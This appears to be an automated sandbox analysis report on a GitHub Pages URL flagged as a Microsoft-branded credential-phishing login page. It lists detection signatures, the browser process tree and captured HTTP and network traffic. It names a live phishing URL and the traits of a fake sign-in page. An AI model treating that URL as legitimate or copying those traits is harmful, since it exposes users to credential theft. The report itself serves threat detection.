Edit tour

Windows Analysis Report
http://l9sa.github.io/

Overview

General Information

Sample URL:	http://l9sa.github.io/
Analysis ID:	1501467
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Form action URLs do not match main URL

Found iframes

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Invalid 'forgot password' link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3272 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1780 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2256,i,18392607891102522475,18317958788277072276,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6468 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://l9sa.github.io/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: http://l9sa.github.io/	Avira URL Cloud: detection malicious, Label: phishing
Source: http://l9sa.github.io/	SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Antivirus detection for URL or domain

Source: https://l9sa.github.io/assets/css/styles.min.css

Avira URL Cloud: Label: phishing

Phishing

Phishing site detected (based on image similarity)

Source: https://l9sa.github.io/

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://l9sa.github.io/

Matcher: Template: microsoft matched

Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0

HTTP Parser: Form action: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c13cb6fd407&redirect_uri=https%3A%2F%2Fsupport.microsoft.com%2Fsignin-oidc&response_type=code%20id_token&scope=openid%20profile%20offline_access&response_mode=form_post&nonce=638605667854753130.MGViYjA1NDMtMDAxYi00MDc1LTg0NjYtMmExMTRmOWM2Yjg4NDM0YTJkYzgtMDU0MC00NjEzLTk4MzktYzVkNDJhZmE1NmQ2&prompt=none&nopa=2&state=CfDJ8LWN6nmb9HBGpcIJvpEgkL3SVnVb3eixmhvoFZbBHIxM_JBLBsmapI77J6KyOklGN532OcGZauHqRxGOVtsVtyxxhtYomJ_d_OzzLIOfqUwdXUErBY9U_y9oxq1fVAHYuLJIA5N9F4DEQwt5sz614SIfuK4LfFEwhZl5PqslH-itqUnWOHuqV3hy72Lzm_0lbneYobnXy3x_voqHNqwsWW_dvQ5XysBgdPmksh9d1P0ma7iFSJxWiCIBCA1EiF7JESQ8YViBi0qCb8Ujt7FrvcD296UOf0ULM_oS0cVBQ9yhBPWTvJ3ohSvIM5DcQP7dKnXaNNcgdOU-rZ-gWqyForWbM7pKmDETF3eztMQ9unC8&x-client-SKU=ID_NET6_0&x-client-ver=7.6.0.0&sso_reload=true microsoft microsoftonline

Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0

HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3

Source: https://l9sa.github.io/	HTTP Parser: Number of links: 0
Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0	HTTP Parser: Number of links: 0

Source: https://l9sa.github.io/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0

HTTP Parser: Base64 decoded: 0ebb0543-001b-4075-8466-2a114f9c6b88434a2dc8-0540-4613-9839-c5d42afa56d6

Source: https://l9sa.github.io/	HTTP Parser: Title: Sign in to your Microsoft account does not match URL
Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0	HTTP Parser: Title: Redirecting does not match URL

Source: https://l9sa.github.io/

HTTP Parser: Invalid link: Forgot password?

Source: https://l9sa.github.io/

HTTP Parser: <input type="password" .../> found

Source: https://signup.live.com/?lic=1	HTTP Parser: No favicon
Source: https://signup.live.com/?lic=1	HTTP Parser: No favicon
Source: https://signup.live.com/?lic=1	HTTP Parser: No favicon
Source: https://signup.live.com/?lic=1	HTTP Parser: No favicon
Source: https://signup.live.com/?lic=1	HTTP Parser: No favicon
Source: https://signup.live.com/?lic=1	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0	HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0	HTTP Parser: No favicon

Source: https://l9sa.github.io/	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0	HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0	HTTP Parser: No <meta name="author".. found

Source: https://l9sa.github.io/	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0	HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/configure-windows-hello-dae28983-8242-bb2a-d3d1-87c9d265a5f0	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49761 version: TLS 1.2

Source: global traffic

TCP traffic: 192.168.2.4:54971 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: l9sa.github.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/twitter-bootstrap/4.5.0/css/bootstrap.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://l9sa.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.5.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://l9sa.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/css/styles.min.css HTTP/1.1Host: l9sa.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://l9sa.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fonts/line-awesome/1.1/css/line-awesome.min.css HTTP/1.1Host: maxcdn.icons8.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://l9sa.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/img/microsoft_logo.svg HTTP/1.1Host: l9sa.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l9sa.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/twitter-bootstrap/4.5.0/js/bootstrap.bundle.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://l9sa.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/script.min.js HTTP/1.1Host: l9sa.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://l9sa.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/img/background.png HTTP/1.1Host: l9sa.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l9sa.github.io/assets/css/styles.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.5.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fonts/line-awesome/1.1/fonts/line-awesome.woff2?v=1.1. HTTP/1.1Host: maxcdn.icons8.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://l9sa.github.iosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://maxcdn.icons8.com/fonts/line-awesome/1.1/css/line-awesome.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/img/favicon32.svg HTTP/1.1Host: l9sa.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l9sa.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/twitter-bootstrap/4.5.0/js/bootstrap.bundle.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/img/microsoft_logo.svg HTTP/1.1Host: l9sa.github.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/script.min.js HTTP/1.1Host: l9sa.github.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/img/background.png HTTP/1.1Host: l9sa.github.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /assets/img/favicon32.svg HTTP/1.1Host: l9sa.github.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/js/signup-fabric_en_hjnWUmfm-pOUxYXWMUv1Yw2.js HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/js/signup-fabric_en_hjnWUmfm-pOUxYXWMUv1Yw2.js HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/chunks/oneds-analytics-js_8c01a5c09df43fd8d323.js HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/chunks/oneds-analytics-js_8c01a5c09df43fd8d323.js HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ns?c=c508f7c0-6654-11ef-bfad-e329fde88b25 HTTP/1.1Host: stk.hsprotect.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://msft.hsprotect.netSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://msft.hsprotect.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/favicon.ico?v=2 HTTP/1.1Host: acctcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ns?c=c508f7c0-6654-11ef-bfad-e329fde88b25 HTTP/1.1Host: stk.hsprotect.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v2/msft HTTP/1.1Host: collector-pxzc5j78di.hsprotect.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/favicon.ico?v=2 HTTP/1.1Host: acctcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v2/msft HTTP/1.1Host: collector-pxzc5j78di.hsprotect.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /meversion?partner=SMCConvergence&market=en-us&uhf=1 HTTP/1.1Host: mem.gfx.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://support.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
